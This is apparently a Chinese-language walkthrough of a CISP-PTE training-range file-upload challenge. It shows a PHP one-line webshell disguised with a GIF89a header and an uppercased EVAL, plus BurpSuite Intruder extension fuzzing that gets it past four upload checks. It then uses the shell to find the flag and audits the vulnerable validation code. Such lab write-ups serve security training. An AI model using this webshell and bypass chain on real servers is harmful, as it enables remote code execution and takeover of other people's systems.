目录
[(1)GIF89a - 文件头欺骗](#(1)GIF89a - 文件头欺骗)
[(1)step1 扩展名验证绕过](#(1)step1 扩展名验证绕过)
[(2)step2 MIME类型验证绕过](#(2)step2 MIME类型验证绕过)
[(3)step3 内容安全检查绕过](#(3)step3 内容安全检查绕过)
[(4)step4 文件头验证绕过](#(4)step4 文件头验证绕过)
本文演示了CISP-PTE靶场文件上传关卡的渗透测试过程。通过构建伪装成GIF的PHP木马(GIF89a文件头+EVAL函数),利用扩展名(php4)、MIME类型(image/gif)和大小写变异(EVAL)绕过四层防护:扩展名黑名单、MIME检查、内容安全扫描和文件头验证。最终使用BurpSuite成功上传WebShell,通过蚁剑获取flag。源码分析揭示了该防御系统的可绕过性,强调单纯依赖检测机制的安全风险。
一、渗透实战
1、打开靶场
打开靶场URL链接,页面如下所示,提示"文件上传是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,"文件上传"本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。测试该网站可能存在的文件包含风险,尝试获取webshell,答案就在根目录下key.php文件中。"

2、开始答题
点击开始答题,如下所示进入了文件上传的真实页面,具体如下所示。

3、构建脚本
新建一个存放着一句话木马的php文件,脚本名为mooyuan.php。这段GIF89a文件头后嵌入PHP代码的文本,是一个伪装成GIF图片的WebShell后门。它利用图片文件头"GIF89a"绕过安全检查,当服务器被配置为将.gif文件解析为PHP时(如通过.htaccess设置),该文件就会被执行。其中的eval($_POST['ljn'])函数允许攻击者通过POST请求执行任意PHP代码,从而完全控制服务器,构成严重的安全威胁。
GIF89a
<?php
echo "mooyuan";
@eval($_POST['ljn']);
?>
(1)GIF89a - 文件头欺骗
-
这是一个GIF图片的文件头标识,GIF(Graphics Interchange Format)文件常见版本有 GIF87a 和 GIF89a,它们的 16 进制文件头标识都是
47 49 46 38 39 61,对应 ASCII 字符就是GIF89a。右键16进制编辑,如下所示,关注这个脚本的文件头内容,其符合gif格式的文件头标识。 -
目的是让服务器将PHP文件误判为图片文件,绕过安全检查

(2)PHP代码部分
echo "mooyuan"; // 输出字符串作为伪装
@eval($_POST['ljn']); // 核心后门功能
-
eval()函数执行任意PHP代码 -
$_POST['ljn']接收来自POST请求的参数 -
@符号用于抑制错误显示
4、直接上传php后缀脚本
开启bp,同时浏览器代理指向bp,选择mooyuan.php文件并点击上传,观察页面变化,如下所示提示图片上传失败,服务器应该是有对php后缀的脚本进行过滤。

5、bp抓包
使用burpsuite进行抓包,并将报文发送到intruder,具体如下所示。

发送到intruder后,首先点击clear将position的数量变为0,具体如下所示。

6、修改报文的MIME
将MIME字段改为image/gif,具体如下所示。

7、修改木马eval的大小写
将木马中的eval改为EVAL,尝试进行eval大小写绕过,具体如下所示。
GIF89a
<?php
echo "mooyuan";
@EVAL($_POST['ljn']);
?>

8、配置intruder
(1)配置position
对上传的文件名mooyuan.php的后缀php选中并点击add,效果如下所示,添加完毕后左下角的payload数量变为1。

(2)配置payload
构造php后缀的绕过字典,包括如php3、php4、phtml、以及大小写绕过的pHP、PHP、Php、pHp等等,对第一个payload使用这个字典进行配置,具体如下所示。

9、开启攻击
(1)攻击
配置完intruder后点击start attack开启攻击,渗透结果如下所示。

(2)分析
点击response-render,具体如下所示,发现多个后缀替换均成功绕过,其中报错php4、php3、php5、phtml等。




10、获取木马URL
以mooyuan.php4为例,查看response结果,找到response的pretty内容,分析其路径,如下所示说明mooyuan4.php被传到上传页面目录下start下,网站URL为/start/mooyuan.php4故而URL为
http://b6570eea.clsadp.com/start/mooyuan.php4
|--------------------------------------|
| 文件有效,上传成功: <a href="mooyuan.php4"> |

11、Hackbar连接
对于上传成功的脚本使用浏览器连接,通关hackbar进行post参数渗透,如下所示渗透成功。
http://b6570eea.clsadp.com/start/mooyuan.php3
ljn=phpinfo();

http://b6570eea.clsadp.com/start/mooyuan.php4
ljn=phpinfo();

12、连接蚁剑工具
http://b6570eea.clsadp.com/start/mooyuan.php4
密码:ljn


13、查找flag
连接蚁剑工具成功后,右键文件管理进入文件系统,具体如下所示。

进入到文件上传upload的目录/var/www/html/start/,如下所示都是我们上传成功的多个木马文件。

进入网站的根目录/var/www/html/,发现key.php,如下所示。

打开key.php,如下所示找到了本关卡的flag,至此完成本关卡的渗透测试。

二、源码分析
1、index.php
既然我们已经拿到了本关卡的权限,我们查看一下源码/var/www/html/start/index.php,具体如下所示。

完整的源码内容如下所示,这是一个具有安全风险的文件上传页面,通过judge函数验证用户上传的文件后将其保存到服务器指定路径,并提供了文件查看链接。。
<?php error_reporting(0); ?>
<?php include("function.php"); ?>
<html>
<head>
<title>CISP-PTE 认证考试</title>
<link rel="stylesheet" href="../css/bootstrap.css">
<link rel="stylesheet" href="../css/nav.css">
<meta charset="UTF-8">
</head>
<body>
<?php include '../header.php';?>
<div class="container mt-5 min-height main-body">
<div class="row">
<div class="col-7 m-auto">
<div class="card-content white-text">
<?php
$files = @$_FILES["files"];
if (judge($files))
{
$fullpath = $_REQUEST["path"] . $files["name"];
if (move_uploaded_file($files['tmp_name'], $fullpath)) {
echo "<a href='$fullpath'>图片上传成功</a>";
}
}
elseif (!(judge($files))&&!empty($files)) {
echo "图片上传失败!";
}
echo '<form method=POST enctype="multipart/form-data" action="">
<input type="file" name="files">
<input type=submit value="上传"></form>';
?>
</div>
<div class="card-action">
<?php if($fullpath!= '') { echo "文件有效,上传成功: <a href=\"$fullpath\"> 点我查看</a>"; } ?>
</div>
</div>
</div>
</div>
<?php include '../footer.php';?>
</body>
</html>
2、function.php
接下来我们查看一下源码/var/www/html/start/function.php,查看下judge函数到底是如何进行过滤的,如下所示。

完整的源码如下所示,共使用了黑名单检测、MIME检测、eval检查以及文件头检查四种方法。
<?php
//黑名单验证,大小写绕过
function step1($files)
{
$filename = $files["name"];
$ext = substr($filename,strripos($filename,'.') + 1);
if ($ext != "php")
{
return true;
}
return false;
}
//验证MIME头,修改数据包绕过
function step2($files)
{
if($files['type'] == "image/gif" || $files['type'] == "image/jpeg" || $files['type'] == "image/png" )
{
return true;
}
return false;
}
//验证文件内容,不能包含eval等敏感函数名,使用其他内容,文件读写
function step3($files)
{
$content = file_get_contents($files["tmp_name"]);
if (strpos($content, "eval") === false && strpos($content, "assert") === false )
{
return true;
}
return false;
}
//验证文件头
function step4($files)
{
$png_header = "89504e47";
$jpg_header = "ffd8FFE0";
$gif_header = "47494638";
$header = bin2hex(file_get_contents ( $files["tmp_name"] , 0 , NULL , 0 , 4 ));
if (strcasecmp($header,$png_header) == 0 || strcasecmp($header,$jpg_header) == 0 || strcasecmp($header,$gif_header) == 0)
{
return true;
}
return false;
}
function judge($files)
{
if (step1($files) && step2($files) && step3($files) && step4($files))
{
return true;
}
return false;
}
?>
3、代码审计
完整的经过注释后的代码如下所示,这是一个四层防御的文件上传安全验证系统,通过扩展名黑名单、MIME类型检查、文件内容扫描和文件头验证来确保上传文件的安全性。系统首先禁止.php扩展名但存在大小写绕过风险;其次验证Content-Type要求必须是GIF、JPEG或PNG图片格式,但可通过修改数据包绕过;然后检测文件内容是否包含eval、assert等危险函数;最后通过验证文件魔数来确认真实文件类型是否为图片。虽然采用了多重防护机制,但仍可能被通过特定技术手段绕过,需要结合其他安全措施形成更完善的防御体系。
-
step1:可使用.php5、.phtml等扩展名绕过
-
step2:可通过修改HTTP请求包中的Content-Type字段绕过
-
step3:可使用编码、加密或其他危险函数绕过
-
step4:可在图片中嵌入恶意代码(图片马)绕过
<?php //黑名单验证 - 通过文件扩展名验证 function step1($files) { $filename = $files["name"]; // 获取上传文件的原始名称 $ext = substr($filename,strripos($filename,'.') + 1); // 提取文件扩展名(从最后一个点开始) if ($ext != "php") // 黑名单验证:只禁止php扩展名 { return true; // 扩展名不是php则通过验证 } return false; // 扩展名是php则验证失败 }//验证MIME头,修改数据包绕过 - 通过Content-Type验证 function step2($files) { // 检查MIME类型是否为图片格式 if($files['type'] == "image/gif" || $files['type'] == "image/jpeg" || $files['type'] == "image/png" ) { return true; // MIME类型符合要求则通过验证 } return false; // MIME类型不符合要求则验证失败 } //验证文件内容,不能包含eval等敏感函数名,使用其他内容,文件读写 - 内容安全检查 function step3($files) { // 读取上传文件的完整内容 $content = file_get_contents($files["tmp_name"]); // 检查文件内容中是否包含危险函数名(使用严格比较=== false判断不存在) if (strpos($content, "eval") === false && strpos($content, "assert") === false ) { return true; // 不包含危险函数则通过验证 } return false; // 包含危险函数则验证失败 } //验证文件头 - 通过文件魔数验证真实文件类型 function step4($files) { // 定义常见图片格式的文件头(十六进制) $png_header = "89504e47"; // PNG文件头 $jpg_header = "ffd8FFE0"; // JPEG文件头 $gif_header = "47494638"; // GIF文件头 // 读取上传文件的前4个字节并转换为十六进制 $header = bin2hex(file_get_contents ( $files["tmp_name"] , 0 , NULL , 0 , 4 )); // 使用不区分大小写的比较验证文件头(strcasecmp返回0表示相等) if (strcasecmp($header,$png_header) == 0 || strcasecmp($header,$jpg_header) == 0 || strcasecmp($header,$gif_header) == 0) { return true; // 文件头匹配则通过验证 } return false; // 文件头不匹配则验证失败 } // 主验证函数 - 综合所有安全检查 function judge($files) { // 必须同时通过所有四个安全验证步骤 if (step1($files) && step2($files) && step3($files) && step4($files)) { return true; // 所有验证通过,文件安全 } return false; // 任一验证失败,文件不安全 }?>
4、绕过分析
接下来分析为何如下报文可以绕过服务器的文件上传检测,报文内容如下所示。
Content-Disposition: form-data; name="files"; filename="mooyuan.php4"
Content-Type: image/gif
GIF89a
<?php
echo "mooyuan";
@EVAL($_POST['ljn']);
?>
我们通过修改扩展名、伪造MIME类型、大小写变异危险函数、添加合法文件头的组合方式,成功绕过了所有四层防护,最终将PHP木马伪造成GIF图片上传到服务器。
(1)step1 扩展名验证绕过
-
文件名使用
mooyuan.php4而不是.php -
step1 只检查扩展名是否为 "php",
.php4不在黑名单中 -
结果:通过验证
(2)step2 MIME类型验证绕过
-
Content-Type: image/gif明确声明为GIF图片 -
step2 只检查MIME类型,不验证内容真实性
-
结果:通过验证
(3)step3 内容安全检查绕过
-
虽然包含
eval函数,但使用了@EVAL(大写) -
step3 使用
strpos($content, "eval")进行字符串匹配,区分大小写 -
EVAL≠eval,因此检测不到 -
结果:通过验证
(4)step4 文件头验证绕过
-
文件开头包含
GIF89a这是合法的GIF文件头 -
474946383961对应GIF89a的十六进制 -
step4 只检查前4个字节,
GIF8符合GIF文件头要求 -
结果:通过验证